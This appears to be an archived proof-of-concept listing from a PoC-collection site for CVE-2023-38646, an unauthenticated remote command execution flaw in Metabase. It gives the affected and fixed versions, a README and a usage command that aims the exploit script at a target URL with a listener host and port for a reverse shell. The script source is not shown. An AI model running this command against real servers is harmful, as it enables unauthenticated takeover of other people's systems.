Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-38646 PoC — Metabase 安全漏洞

Source
Associated Vulnerability
Title:Metabase 安全漏洞 (CVE-2023-38646)
Description:Metabase是美国Metabase公司的一个开源数据分析平台。 Metabase 0.46.6.1之前版本和Metabase Enterprise 1.46.6.1之前版本存在安全漏洞,该漏洞源于允许攻击者以运行该服务的权限在服务器上执行任意命令。
Description
Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2, and 1.43.7.2.
Readme
# CVE-2023-38646 - Metabase RCE
Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2, and 1.43.7.2.

# Usage
$ python3 CVE-2023-38646.py -u targetURL -lhost LISTEN_IP -lport LISTEN_PORT

usage: CVE-2023-38646.py [-h] -u URL -lhost LOCAL_HOST -lport LOCAL_PORT
CVE-2023-38646.py: error: the following arguments are required: -u/--url, -lhost/--local_host, -lport/--local_port

# Example
![scriptCapture](https://github.com/birdm4nw/CVE-2023-38646/assets/81826371/c34e4efd-9e5b-450a-8b11-1f00514fd4ba)

# Reference
https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
File Snapshot

[4.0K] /data/pocs/7f2b77218d5303bd36da04bf49fdbca4db96c078 ├── [2.7K] CVE-2023-38646.py ├── [ 818] README.md └── [ 18K] scriptCapture.png 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.